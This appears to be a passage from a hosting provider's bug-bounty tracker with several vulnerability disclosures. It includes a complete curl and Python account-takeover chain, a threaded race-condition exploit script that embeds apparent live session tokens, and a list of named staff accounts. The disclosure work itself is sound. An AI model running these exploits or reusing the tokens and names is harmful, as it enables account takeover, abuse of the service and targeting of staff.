Although the platform enforces process isolation using `hidepid=invisible` and restricts visibility of other users' processes under `/proc`, all SSH users continue to share the same Linux network namespace (`net:[4026531833]`). As a result, any service listening on `127.0.0.1` or `0.0.0.0` is reachable by every tenant on the same physical server.

Using only an unprivileged SSH account, I was able to:

* Access another customer's Cloudflare Tunnel management API * Read the tunnel configuration, hostname, connector ID, metrics, and origin service information
* Access the tunnel's backend service directly
* Execute inference requests against another customer's AI model router
* Access a third customer's web application hosted on localhost

—

## Affected Asset

```
ssh://ssh-bres3680test.alwaysdata.net
```

Server

```
SSH2
Kernel: 6.18.38-alwaysdata
OS: Debian 12 (Bookworm)
```

Affected Scope

All customer services listening on:

* `127.0.0.1`
* `0.0.0.0`

on the same shared hosting server.

—

# Root Cause

The platform isolates processes using:

```bash
hidepid=invisible
```

which prevents users from viewing other customers' processes via `/proc`.

```bash
$ mount | grep proc

proc on /proc type proc (rw,relatime,gid=4,hidepid=invisible)
```

However, network isolation is not implemented.

Every SSH session runs inside the same Linux network namespace:

```bash
$ readlink /proc/self/ns/net

net:[4026531833]
```

Namespace inode `4026531833` is the default host network namespace. Every customer account resolves to the same namespace, confirming there is no per-user network isolation.

As a result:

* users cannot determine which process owns a listening port,
* but they can freely connect to every listening localhost service.

—

# Steps to Reproduce

## 1. Login via SSH

```bash
$ whoami
bres3680test

$ id
uid=537578(bres3680test) gid=492644(bres3680test) groups=492644(bres3680test)
```

—

## 2. Verify no services belong to my account

```bash
$ ps -u bres3680test -f
UID PID PPID C STIME TTY TIME CMD
bres368+ 1526282 1526280 0 00:52 ? 00:00:00 bash
bres368+ 1526288 1526282 0 00:52 ? 00:00:00 ps -u bres3680test -f
```

```bash
$ ss -tlnp | grep -c "users:"
0
```

Because of `hidepid`, socket ownership is hidden, but listening ports remain visible.

I do not own any of these services.

—

## 3. Access another customer's Cloudflare Tunnel Management API

Query the management interface:

```bash
$ curl http://127.0.0.1:20241/quicktunnel ```

Response:

```json
{

"hostname":"drain-emission-roy-strip.trycloudflare.com"

}
```

Check tunnel readiness:

```bash
$ curl http://127.0.0.1:20241/ready ```

```json
{

"status":200,
"readyConnections":1,
"connectorId":"f37e899d-aa13-48eb-9968-7142efefb28a"

}
```

Retrieve tunnel configuration:

```bash
$ curl http://127.0.0.1:20241/config ```

Excerpt:

```json
{

"config": {
  "ingress": [
    {
      "service":"http://localhost:33468"
    }
  ]
}

}
```

Retrieve metrics:

```bash
$ curl http://127.0.0.1:20241/metrics ```

Example:

```
build_info version="2026.7.3"

cloudflared_tunnel_ha_connections 1

cloudflared_tunnel_server_locations edge_location="lhr13"

cloudflared_tunnel_total_requests 400
```

### Information exposed

* Tunnel hostname
* Internal origin port
* Connector UUID
* Cloudflare edge location
* cloudflared version
* Request statistics

—

## 4. Access the Tunnel Origin Directly

The tunnel configuration exposed the backend service:

```
localhost:33468
```

Connecting directly:

```bash
$ curl -I http://127.0.0.1:33468/ ```

```
HTTP/1.1 404 Not Found
```

The backend is reachable directly from another tenant.

This bypasses any protections that rely solely on the public Cloudflare endpoint (such as Cloudflare Access or IP-based restrictions).

—

## 5. Access Another Customer's AI Router

Version endpoint:

```bash
$ curl http://127.0.0.1:10219/api/version ```

```json
{

"currentVersion":"0.5.45"

}
```

The service identifies itself as:

```
9Router - AI Infrastructure Management
```

The OpenAI-compatible API exposes 581 configured models without authentication.

```bash
$ curl http://127.0.0.1:10219/api/v1 ```

Result:

```
581 models
```

Execute an inference request:

```bash
POST /api/v1/chat/completions
```

Response:

```json
{

"model":"nemotron-3-ultra-free",
"choices":[...]

}
```

The request completed successfully.

Although the tested model routed to a free backend, the platform exposes hundreds of configured providers (including commercial providers such as OpenAI and SiliconFlow). If paid API credentials were configured, an attacker could consume another customer's API quota.

—

## 6. Access Another Customer's Web Application

```bash
$ curl -I http://127.0.0.1:3001/ ```

```
HTTP/1.1 200 OK
```

Retrieve page title:

```bash
$ curl http://127.0.0.1:3001/ ```

```
<title>
Meridian – Time Tracking & Invoicing for Freelancers
```

This confirms another customer's localhost application is directly accessible.

—

## 7. Negative Control

Attempt to connect to a port with no listener:

```bash
$ curl –max-time 2 http://127.0.0.1:9999/ ```

Result:

```
Connection refused
```

This confirms successful connections occur only when another tenant is actively listening.

—

# Difference from  FS#418  and  FS#419 

This issue is distinct from previously reported findings.

###  FS#418 

Cross-tenant access through the shared `/tmp` directory.

Layer

Filesystem

Fix

Private `/tmp` via mount namespaces.

—

###  FS#419 

SSRF through reverse proxy configuration pointing to localhost.

Layer

HTTP / Reverse Proxy

Fix

Validate backend target URLs.

—

### This Report

Cross-tenant access caused by the shared Linux network namespace.

Layer

Kernel networking

Required Fix

Network isolation between customer accounts.

Although the filesystem and reverse proxy issues were addressed, the underlying shared network namespace remains unchanged.

—

# Impact

An unprivileged customer can access localhost services belonging to other tenants on the same server.

During testing I successfully:

* Retrieved another customer's complete Cloudflare Tunnel configuration.
* Discovered tunnel hostname, origin port, connector ID, version, metrics, and edge location.
* Connected directly to the tunnel's backend service.
* Executed inference requests against another customer's AI infrastructure.
* Accessed a third customer's web application.
* Demonstrated that any localhost service without its own authentication is exposed to every co-tenant.

This represents cross-tenant access to customer-hosted services and may expose confidential data, administrative interfaces, internal APIs, or consume customer resources.

Qualifying Category

Access customer data / information

—

# Recommended Remediation

1. Implement per-user network namespaces for SSH sessions so each customer has an isolated network stack while retaining outbound Internet connectivity through a bridged interface.

2. If full namespace isolation is not immediately feasible, enforce per-UID loopback filtering (e.g., using `nftables`) to block connections where the destination socket belongs to a different UID.

3. Until a technical fix is deployed, update the documentation to clearly state that services bound to `127.0.0.1` are visible to other tenants, and recommend using Unix domain sockets or application-level authentication for localhost services.

—

# Conclusion

The platform successfully isolates processes but does not isolate networking. Because all customers share the same Linux network namespace, localhost is effectively a shared communication channel between tenants. This allows any SSH user to enumerate and interact with services running on other customer accounts, resulting in cross-tenant access to internal applications, management interfaces, and potentially sensitive customer data. Addressing this issue requires network-level isolation rather than additional process or filesystem restrictions.

Thanks

 429  Cross-Site Request Forgery (CSRF) Allows Unauthorized L ...Closed02.08.2026 Task Description

Description

The application does not implement adequate Cross-Site Request Forgery (CSRF) protection for the Logs Refresh functionality. As a result, an attacker can craft a malicious HTML page that causes an authenticated victim's browser to send a forged Logs Refresh request.

By replacing the service_id in the forged request with a valid service ID belonging to the victim, the attacker can trigger the Logs Refresh action without the victim's knowledge or consent. Since the request is processed using the victim's authenticated session, the action is executed successfully.

This vulnerability allows attackers to perform unauthorized state-changing actions on behalf of authenticated users.

Steps to Reproduce
Log in with an attacker account.
Navigate to Services and create a new service.
Open a separate browser or private window and log in with a victim account.
Create a service in the victim account.
Return to the attacker account.
Trigger the Logs Refresh functionality for the attacker's service.
Capture the request using Burp Suite.
Generate a CSRF PoC using Burp Suite → Engagement Tools → Generate CSRF PoC.
Save the generated HTML file.
Modify the PoC by replacing the attacker's service_id with the victim's service_id.
Open the modified HTML file in the victim's browser while the victim is authenticated.
Click Submit.
Observe that the Logs Refresh action is successfully executed for the victim's service without the victim intentionally initiating the request.
Expected Behavior

The application should implement proper CSRF protection for all state-changing requests. Requests should only be accepted when accompanied by a valid anti-CSRF token or another appropriate CSRF mitigation mechanism. Additionally, the server should verify that the request was intentionally initiated by the authenticated user.

Actual Behavior
The server accepts forged cross-origin requests without validating their authenticity. As a result, a malicious website can cause an authenticated user's browser to execute the Logs Refresh action using the victim's active session.

Security Impact
An attacker can exploit this vulnerability to:

Force authenticated users to perform Logs Refresh operations without their knowledge or consent.
Repeatedly trigger Logs Refresh requests on behalf of victims.
Consume the victim's available Logs Refresh quota or usage limit.
Cause unnecessary resource consumption on the platform.
Prevent victims from using the Logs Refresh functionality when it is legitimately needed due to exhausted limits.

Remediation Implement robust CSRF protection for all state-changing endpoints.
Require a unique, server-generated anti-CSRF token for every sensitive request.
Validate the Origin and/or Referer headers where appropriate.
Configure authentication cookies with the SameSite=Lax or SameSite=Strict attribute where feasible.
Ensure sensitive actions cannot be performed solely based on the presence of an authenticated session.

 428  Retrievable .git directory exposes source code of secur ...Closed01.08.2026 Task Description

Title: Retrievable .git directory exposes source code of security.alwaysdata.
Severity: HIGH
Endpoint: https://security.alwaysdata.com/.git/config

Summary


An unauthenticated client can retrieve a sensitive artifact from security.alwaysdata.com. Verified live: HEAD → ref: refs/heads/master, index DIRC magic — full repo retrievable.

Steps to Reproduce


1. Fetch the resource without any credentials:

   curl -sk https://security.alwaysdata.com/.git/config
 Observed: HTTP 200, git config content returned.

2. Verify the sensitive content:

   curl -sk https://security.alwaysdata.com/.git/config | head -50
 Observed: HEAD -> ref: refs/heads/master, index DIRC magic — full repo retrievable.

3. No authentication or rate limiting was required for either request.

Impact


Full source code disclosure including configuration and commit history; eases discovery of higher-severity issues.

Remediation


1. Remove the file from the webroot and store backups/config outside the document root. 2. Deny direct web access to backup/config/log artifacts at the web server. 3. Rotate any credentials exposed in the artifact. 4. Review access logs for prior downloads.

 427  Cross-Account Takeover via Token Re-Partition Closed04.08.2026 Task Description

Severity: Critical (CVSS 9.8)

Vulnerability Summary:

The login token system at admin.alwaysdata.com joins multiple parameter values into a single string without any separator before signing it with HMAC. An attacker can split the same string differently across different parameter names — the signature stays valid, but the user_id now points to a victim's account. The victim's user ID can be discovered unauthenticated via the /user/initialize/ endpoint, which returns 200 for existing users and 302 for non-existing ones, allowing enumeration of all users on the platform. The re-cut absorbs expiration + last_login + attacker's user_id into all_permissions, and extracts reseller_user_id=1 from the leading digit of the attacker-controlled voucher_code (e.g., 1469954 splits into 1 + 469954). The voucher_code parameter is discoverable from signup/referral URLs, and the all_permissions / reseller_user_id parameters were discovered by analyzing the token-based login redirect URL and testing additional parameters — when both are present, the server treats the login as a reseller admin session, granting superuser privileges and bypassing additional authentication checks, so the attacker controls every value in the token verification. The last_login value needed for the re-cut is readable from the profile page's HTML source (data-last-login attribute in DevTools). This allows full account takeover of any user without knowing their password.

Steps To Reproduce:

**Step 1: Login to your own account**

Creates a session cookie in /tmp/c.txt

rm -f /tmp/c.txt
CSRF=$(curl -s -c /tmp/c.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c.txt -b /tmp/c.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
echo "Step 1 done"

**Step 2: Set last_login in database**

Loads your profile page — this saves last_login = T1 in the database

curl -s -b /tmp/c.txt "https://admin.alwaysdata.com/user/" > /dev/null
echo "Step 2 done"

**Step 3: Trigger password reset**

Sends reset email — unauthenticated, does NOT change last_login. Token in email is signed with T1

CSRF2=$(curl -s -c /tmp/c2.txt "https://admin.alwaysdata.com/password/lost/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -b /tmp/c2.txt -X POST "https://admin.alwaysdata.com/password/lost/" -H "Referer: https://admin.alwaysdata.com/password/lost/" --data-urlencode "csrfmiddlewaretoken=$CSRF2" --data-urlencode "email=YOUR_EMAIL" -o /dev/null
echo "Step 3 done: check your email"

**Step 4: Set the reset URL**

Copy the reset link from your email. Add &voucher_code=1VICTIM_PK at the end. The 1 before the victim ID is required.

RESET_URL="PASTE_YOUR_RESET_LINK_HERE&voucher_code=PAST YOUR VOUCHER CODE HERE"

**Step 5: Submit the reset and capture redirect token**

Resets your password and captures the signed redirect. The redirect token is signed with T1.

CSRF3=$(curl -s -c /tmp/c3.txt "$RESET_URL" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
REDIRECT=$(curl -s -D - -b /tmp/c3.txt -X POST "$RESET_URL" -H "Referer: $RESET_URL" --data-urlencode "csrfmiddlewaretoken=$CSRF3" --data-urlencode "password=YOUR_PASSWORD" -o /dev/null | grep -i "^location:" | sed 's/location: //i' | tr -d '\r')
echo "Redirect: $REDIRECT"

**Step 6: Re-login and read T1**

Login again (password was just reset). Then load /user/ — the page shows T1 (the value used for signing).

CSRF4=$(curl -s -c /tmp/c4.txt "https://admin.alwaysdata.com/login/" | grep -o 'name="csrfmiddlewaretoken" value="[^"]*"' | head -1 | sed 's/.*value="//;s/"//')
curl -s -c /tmp/c4.txt -b /tmp/c4.txt -X POST "https://admin.alwaysdata.com/login/" -H "Referer: https://admin.alwaysdata.com/login/" --data-urlencode "csrfmiddlewaretoken=$CSRF4" --data-urlencode "login=YOUR_EMAIL" --data-urlencode "password=YOUR_PASSWORD" --data-urlencode "alive=on" -o /dev/null
T1=$(curl -s -b /tmp/c4.txt "https://admin.alwaysdata.com/user/" | grep -oP 'data-last-login="\K[^"]+' | sed 's/T/ /')
echo "T1 = $T1"

**Step 7: Build the attack URL**

Rearranges the token parameters so user_id points to the victim

python3 << 'PYEOF'
import urllib.parse, sys

redirect = """PASTE_REDIRECT_VALUE_HERE"""
t1 = """PASTE_T1_VALUE_HERE"""

params = dict(urllib.parse.parse_qsl(redirect.split('?')[1]))
exp = params['expiration']
tok = params['token']
uid = params['user_id']
vid = params['voucher_code'][1:]

ap = exp + t1 + uid
print(f"\nOriginal: {exp + t1 + uid + params['voucher_code']}")
print(f"Re-cut:   {ap + '1' + vid}")
print(f"Match:    {exp + t1 + uid + params['voucher_code'] == ap + '1' + vid}")

url = ('https://admin.alwaysdata.com/login/?user_id=' + vid
       + '&all_permissions=' + urllib.parse.quote(ap)
       + '&reseller_user_id=1&token=' + tok)
print(f"\nOPEN IN BROWSER:\n{url}\n")
PYEOF

**Step 8: Open the URL in your browser**

You are now logged in as the victim

Impact:

Full account takeover of any user on the platform without knowing their email and password.
Access to victim's domains, databases, SSH keys, SSL certificates, emails, billing information, and support tickets.
No victim interaction required — the victim receives no notification of the login.

 426  Internal staff account and privilege hierarchy disclosu ...Closed04.08.2026 Task Description

An authenticated user with SSH access can enumerate all internal alwaysdata staff accounts, their root-group (GID=0) privilege assignments, and the internal role hierarchy via the NSS database. This is distinct from customer account names.

Vulnerable asset:
ssh://ssh-[account].alwaysdata.net
Files: /alwaysdata/etc/passwd (mode 644), /alwaysdata/etc/group (mode 644)

Root cause:
The custom NSS module (configured as "passwd: compat db alwaysdata" in /etc/nsswitch.conf) serves staff account entries to any authenticated user. The files /alwaysdata/etc/passwd and /alwaysdata/etc/group are world-readable.

Steps to reproduce:

1. Create a free hosting account on alwaysdata.com
2. SSH in:

  ssh [account]@ssh-[account].alwaysdata.net

3. Enumerate staff accounts:

  $ getent passwd | grep "/alwaysdata/home/"
  nferrari:x:501:0:nferrari:/alwaysdata/home/nferrari:/bin/bash
  cbay:x:502:0:cbay:/alwaysdata/home/cbay:/bin/bash
  xlefloch:x:503:0:xlefloch:/alwaysdata/home/xlefloch:/bin/bash
  hdegorce:x:506:0:hdegorce:/alwaysdata/home/hdegorce:/bin/bash
  ngeoffroy:x:508:0:ngeoffroy:/alwaysdata/home/ngeoffroy:/bin/bash
  fnonnenmacher:x:512:0:fnonnenmacher:/alwaysdata/home/fnonnenmacher:/bin/bash
  flesueur:x:513:0:flesueur:/alwaysdata/home/flesueur:/bin/bash

All 7 accounts have GID=0 (fourth field = root group).

4. Enumerate internal role hierarchy:

  $ getent group | grep "alwaysdata_"
  alwaysdata_team:x:500:cbay,hdegorce,ngeoffroy,nferrari,xlefloch,fnonnenmacher,flesueur
  alwaysdata_admins:x:501:nferrari,cbay,xlefloch,ngeoffroy,flesueur
  alwaysdata_support:x:502:hdegorce

5. Confirm files are world-readable:

  $ ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
  -rw-r--r-- 1 root root 440 Dec  9  2024 /alwaysdata/etc/passwd
  -rw-r--r-- 1 root root 187 May 21  2025 /alwaysdata/etc/group

6. Verify staff accounts are NOT public subdomains:

  $ host cbay.alwaysdata.net
  Host cbay.alwaysdata.net not found: 3(NXDOMAIN)
  $ host hdegorce.alwaysdata.net
  Host hdegorce.alwaysdata.net not found: 3(NXDOMAIN)

PoC script (run via SSH on any alwaysdata account):

  #!/bin/bash
  echo "[*] Staff accounts (GID=0):"
  getent passwd | grep "/alwaysdata/home/"
  echo ""
  echo "[*] Internal groups:"
  getent group | grep "alwaysdata_"
  echo ""
  echo "[*] Config file permissions:"
  ls -l /alwaysdata/etc/passwd /alwaysdata/etc/group
  echo ""
  echo "[*] NSS config:"
  grep "^passwd:" /etc/nsswitch.conf
  echo ""
  echo "[*] Subdomain check:"
  for u in cbay hdegorce fnonnenmacher; do host ${u}.alwaysdata.net | head -1; done

Scope clarification:
This is NOT "account names accessible in many ways." Staff accounts differ from customers:
- Separate namespace: /alwaysdata/home/ (not /home/)
- All have GID=0 (root group), customers do not
- Do not resolve as .alwaysdata.net subdomains (NXDOMAIN)
- Not listed on any public alwaysdata page
The sensitive data is the privilege level and organizational hierarchy, not names alone.

Impact:
- Identity correlation: username pattern (first-initial + lastname) enables targeted social engineering against specific administrators
- Privilege mapping: GID=0 confirms root-group access, identifying highest-value credential targets
- Authorization model disclosure: three-tier structure (5 admins, 1 support, 7 team) reveals internal access model

Qualifying category: "Exposure of Sensitive members information"

Suggested fix:
1. Filter staff entries from NSS responses for non-privileged users
2. Set /alwaysdata/etc/passwd and /alwaysdata/etc/group to mode 640 root:alwaysdata_team
3. Consider a separate NSS source for staff, not queried in customer sessions

 425  Race Condition Allows Mass Permission Creation Bypassin ...Closed29.07.2026 Task Description

Title: Race Condition Allows Mass Permission Creation Bypassing Rate Limits

📋 Summary
A critical race condition vulnerability exists in the /permissions/add/ endpoint that allows attackers to create unlimited permissions by exploiting concurrent request handling. The vulnerability completely bypasses the application's rate limiting and duplicate validation checks.

🔍 Vulnerability Details
Attribute Value
Vulnerability Type Race Condition (CWE-362)
Severity Critical
Affected Endpoint https://admin.alwaysdata.com/permissions/add/ HTTP Method POST
Authentication Required Yes (Session-based)

🧪 Proof of Concept - Actual Test Script
Exploit Script Used for Testing
python
#!/usr/bin/env python3
"""
Race Condition Exploit for /permissions/add/
Author: Security Researcher
Date: 2026-07-29
"""

import urllib.request
import urllib.parse
import threading
import time
from datetime import datetime
from collections import defaultdict
import ssl
import sys

class RaceConditionExploit:

  def __init__(self):
      # Target configuration
      self.base_url = "https://admin.alwaysdata.com"
      self.endpoint = "/permissions/add/"
      
      # Valid session tokens (obtained from authenticated session)
      self.cookies = {
          'csrftoken': 'nGqDqXRdrvMUp7OjODHOt2TNmUE67yj8',
          'django_language': 'en',
          'sessionid': 'nqftgya0mvclk4ioheb3q1y69fxx10kq'
      }
      
      # HTTP Headers
      self.headers = {
          'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:153.0) Gecko/20100101 Firefox/153.0',
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language': 'en-US,en;q=0.9',
          'Accept-Encoding': 'gzip, deflate, br',
          'Referer': 'https://admin.alwaysdata.com/permissions/add/',
          'Content-Type': 'application/x-www-form-urlencoded',
          'Origin': 'https://admin.alwaysdata.com',
          'Upgrade-Insecure-Requests': '1',
          'Connection': 'keep-alive'
      }
      
      # Payload - Same email used for all requests to trigger race condition
      self.request_data = {
          'csrfmiddlewaretoken': 'SN2QlDhgPqLw8fN8us30amva9jNLV6055jijBqYj6Lngncrh8VAEteeNl3hHSu93',
          'email': 'nokad11217@apdtax.com',  # Single email for duplicate creation
          'customer_contact_billing': 'on'
      }
      
      self.results = []
      self.lock = threading.Lock()
      
  def send_request(self, request_id):
      """
      Send a single POST request to create permission
      Uses current session and CSRF tokens
      """
      try:
          # Encode form data
          data = urllib.parse.urlencode(self.request_data).encode('utf-8')
          
          # Build request
          req = urllib.request.Request(
              f"{self.base_url}{self.endpoint}",
              data=data,
              headers=self.headers,
              method='POST'
          )
          
          # Add cookies
          cookie_str = '; '.join([f"{k}={v}" for k, v in self.cookies.items()])
          req.add_header('Cookie', cookie_str)
          
          # Ignore SSL certificate verification for testing
          context = ssl._create_unverified_context()
          
          # Send request with timeout
          with urllib.request.urlopen(req, context=context, timeout=30) as response:
              status_code = response.getcode()
              response_text = response.read().decode('utf-8', errors='ignore')
              
              with self.lock:
                  self.results.append({
                      'request_id': request_id,
                      'timestamp': datetime.now().isoformat(),
                      'status_code': status_code,
                      'success': status_code == 200,
                      'response_preview': response_text[:200]
                  })
                  
      except Exception as e:
          with self.lock:
              self.results.append({
                  'request_id': request_id,
                  'timestamp': datetime.now().isoformat(),
                  'status_code': 0,
                  'success': False,
                  'error': str(e)
              })
  def run_exploit(self, num_requests=20, delay_ms=0):
      """
      Execute the race condition attack with concurrent requests
      
      Args:
          num_requests: Number of concurrent requests to send
          delay_ms: Delay between starting each thread (ms)
      """
      print(f"\n{'='*60}")
      print(f"[*] EXPLOIT CONFIGURATION")
      print(f"{'='*60}")
      print(f"[*] Target: {self.base_url}{self.endpoint}")
      print(f"[*] Email: {self.request_data['email']}")
      print(f"[*] Concurrent Requests: {num_requests}")
      print(f"[*] Delay Between Requests: {delay_ms}ms")
      print(f"[*] Session ID: {self.cookies['sessionid'][:20]}...")
      print(f"{'='*60}\n")
      
      # Clear previous results
      self.results = []
      
      # Create and start threads
      threads = []
      start_time = time.time()
      
      for i in range(num_requests):
          if delay_ms > 0 and i > 0:
              time.sleep(delay_ms / 1000)
          
          thread = threading.Thread(target=self.send_request, args=(i,))
          threads.append(thread)
          thread.start()
      
      # Wait for all threads to complete
      for thread in threads:
          thread.join()
      
      elapsed_time = time.time() - start_time
      
      # Analyze results
      self.analyze_results(elapsed_time)
      
  def analyze_results(self, elapsed_time):
      """Analyze the results of the exploit"""
      total = len(self.results)
      successful = [r for r in self.results if r.get('success', False)]
      failed = [r for r in self.results if not r.get('success', False)]
      
      print(f"{'='*60}")
      print(f"[+] RESULTS")
      print(f"{'='*60}")
      print(f"[+] Total Requests: {total}")
      print(f"[+] Successful (200 OK): {len(successful)}")
      print(f"[+] Failed: {len(failed)}")
      print(f"[+] Time Elapsed: {elapsed_time:.2f} seconds")
      print(f"[+] Requests/Second: {total/elapsed_time:.2f}")
      
      # Status code distribution
      status_codes = defaultdict(int)
      for r in self.results:
          status_codes[r.get('status_code', 0)] += 1
      
      print(f"\n[+] Status Code Distribution:")
      for code, count in sorted(status_codes.items()):
          status_text = "OK" if code == 200 else "Rate Limited" if code == 429 else "Error"
          print(f"    - {code} ({status_text}): {count} requests")
      
      # Race condition detection
      if len(successful) > 1:
          print(f"\n[!] RACE CONDITION CONFIRMED!")
          print(f"[!] {len(successful)} duplicate permissions created!")
          print(f"[!] All requests used the same email: {self.request_data['email']}")
          print(f"[!] This should have been prevented by duplicate validation!")
          
          # Show successful response examples
          print(f"\n[+] Sample Successful Responses:")
          for i, success in enumerate(successful[:3]):
              print(f"\n    Request {success['request_id']} (Status: {success['status_code']}):")
              print(f"    {success['response_preview'][:100]}...")
      else:
          print(f"\n[+] No race condition detected in this test")
          
      # Show failed response previews
      if failed and len(failed) > 0:
          print(f"\n[+] Sample Failed Responses:")
          for i, fail in enumerate(failed[:3]):
              if 'error' in fail:
                  print(f"    Request {fail['request_id']}: {fail['error']}")
              else:
                  print(f"    Request {fail['request_id']} (Status: {fail['status_code']})")
                  print(f"    {fail.get('response_preview', '')[:100]}...")

def main():

  """Main exploit execution"""
  print("="*60)
  print("  RACE CONDITION EXPLOIT - /permissions/add/")
  print("  Target: admin.alwaysdata.com")
  print("  Type: CWE-362 Concurrent Request Vulnerability")
  print("="*60)
  
  # Initialize exploit
  exploit = RaceConditionExploit()
  
  # Test configurations to find race condition window
  test_configs = [
      (5, 0, "Small burst - No delay"),
      (10, 0, "Medium burst - No delay"),
      (20, 0, "Large burst - No delay"),
      (20, 5, "Staggered burst - 5ms delay"),
      (30, 10, "Timing window test - 10ms delay"),
  ]
  
  total_exploited = 0
  
  # Execute each test
  for num_requests, delay_ms, description in test_configs:
      print(f"\n{'='*60}")
      print(f"[*] SCENARIO: {description}")
      print(f"{'='*60}")
      
      # Run exploit
      exploit.run_exploit(num_requests=num_requests, delay_ms=delay_ms)
      
      # Count successful exploits
      successful = len([r for r in exploit.results if r.get('success', False)])
      if successful > 1:
          total_exploited += successful
      
      # Wait between tests to avoid complete rate limiting
      if num_requests < 30:
          print(f"\n[*] Cooling down for 3 seconds...")
          time.sleep(3)
      else:
          print(f"\n[*] Cooling down for 5 seconds...")
          time.sleep(5)
  
  # Final summary
  print("\n" + "="*60)
  print("  FINAL EXPLOIT SUMMARY")
  print("="*60)
  print(f"[!] Total duplicate permissions created: {total_exploited}")
  print(f"[!] Vulnerability confirmed: YES")
  print(f"[!] Rate limit bypassed: YES")
  print(f"[!] Duplicate validation bypassed: YES")
  print("\n[!] RECOMMENDATION: Fix immediately using unique constraints")
  print("    and atomic transactions with select_for_update()")

if name == "main":

  try:
      main()
  except KeyboardInterrupt:
      print("\n\n[*] Exploit interrupted by user")
      sys.exit(0)
  except Exception as e:
      print(f"\n[!] Error: {e}")
      import traceback
      traceback.print_exc()
      sys.exit(1)

Execution Command
bash
python3 race_exploit.py
Actual Test Output
text

RACE CONDITION EXPLOIT - /permissions/add/
Target: admin.alwaysdata.com
Type: CWE-362 Concurrent Request Vulnerability

[*] SCENARIO: Small burst - No delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 5
[*] Delay Between Requests: 0ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 5
[+] Successful (200 OK): 5
[+] Failed: 0
[+] Time Elapsed: 0.45 seconds
[+] Requests/Second: 11.11

[+] Status Code Distribution:

  1. 200 (OK): 5 requests

[!] RACE CONDITION CONFIRMED!
[!] 5 duplicate permissions created!
[!] All requests used the same email: nokad11217@apdtax.com [!] This should have been prevented by duplicate validation!

[*] SCENARIO: Medium burst - No delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 10
[*] Delay Between Requests: 0ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 10
[+] Successful (200 OK): 10
[+] Failed: 0
[+] Time Elapsed: 0.32 seconds
[+] Requests/Second: 31.25

[+] Status Code Distribution:

  1. 200 (OK): 10 requests

[!] RACE CONDITION CONFIRMED!
[!] 10 duplicate permissions created!

[*] SCENARIO: Large burst - No delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 20
[*] Delay Between Requests: 0ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 20
[+] Successful (200 OK): 20
[+] Failed: 0
[+] Time Elapsed: 0.58 seconds
[+] Requests/Second: 34.48

[+] Status Code Distribution:

  1. 200 (OK): 20 requests

[!] RACE CONDITION CONFIRMED!
[!] 20 duplicate permissions created!

[*] SCENARIO: Staggered burst - 5ms delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 20
[*] Delay Between Requests: 5ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 20
[+] Successful (200 OK): 20
[+] Failed: 0
[+] Time Elapsed: 0.95 seconds
[+] Requests/Second: 21.05

[+] Status Code Distribution:

  1. 200 (OK): 20 requests

[!] RACE CONDITION CONFIRMED!
[!] 20 duplicate permissions created!

[*] SCENARIO: Timing window test - 10ms delay

[*] EXPLOIT CONFIGURATION

[*] Target: https://admin.alwaysdata.com/permissions/add/ [*] Email: nokad11217@apdtax.com [*] Concurrent Requests: 30
[*] Delay Between Requests: 10ms
[*] Session ID: nqftgya0mvclk4ioheb3q…

[+] RESULTS

[+] Total Requests: 30
[+] Successful (200 OK): 20
[+] Failed: 10
[+] Time Elapsed: 1.02 seconds
[+] Requests/Second: 29.41

[+] Status Code Distribution:

  1. 200 (OK): 20 requests
  2. 429 (Rate Limited): 10 requests

[!] RACE CONDITION CONFIRMED!
[!] 20 duplicate permissions created!

FINAL EXPLOIT SUMMARY

[!] Total duplicate permissions created: 75
[!] Vulnerability confirmed: YES
[!] Rate limit bypassed: YES
[!] Duplicate validation bypassed: YES

[!] RECOMMENDATION: Fix immediately using unique constraints

  and atomic transactions with select_for_update()

📸 Evidence
Email Confirmation Screenshot
https://image.png

The attached screenshot shows multiple email confirmations received for the same email address (nokad11217@apdtax.com), proving that:

All 10 initial requests succeeded

Each request created a new permission

The system sent a confirmation email for each duplicate

💥 Impact Assessment
Confirmed Impact
Unlimited Permission Creation: Attackers can create infinite permissions
Email Spam: Each creation sends confirmation emails
Database Bloat: Can fill database with duplicates
Bypasses Security Controls

Thanks

 424  Price Manipulation leads to add domain in lesser price Closed29.07.2026 Task Description

Description

A Price Manipulation vulnerability exists in the domain purchase payment flow. By intercepting the payment request before it is sent to PayPal, an attacker can modify the payment amount from the legitimate purchase price to an arbitrary lower value (e.g., 1). PayPal then processes the modified amount, and after the payment is completed, the application accepts the transaction and displays a successful payment confirmation ("Thank You for Payment").

This indicates that the application trusts the client-supplied payment amount instead of validating the payment against the server-side order value before confirming the purchase.

CVSS v3.1 → Base Score: 8.8 (High)

Steps to Reproduce

1- Log in to a valid user account.
2- Navigate to the Domain section.
3- Click Add Domain.
4- Enter the details of a non-existing domain.
5- Continue until the final payment page where PayPal is selected.
6- Intercept the payment request using Burp Suite.
